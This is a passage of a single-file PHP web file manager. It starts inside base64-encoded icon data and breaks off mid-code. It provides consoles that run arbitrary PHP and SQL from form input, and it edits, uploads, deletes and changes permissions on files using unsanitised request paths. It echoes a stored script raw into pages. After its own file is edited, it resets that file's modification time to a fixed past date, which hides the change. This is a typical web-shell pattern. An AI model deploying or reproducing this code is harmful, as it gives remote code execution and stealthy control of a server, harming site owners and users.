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"); } .file { background-image: url("data:image/png;base64,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"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = 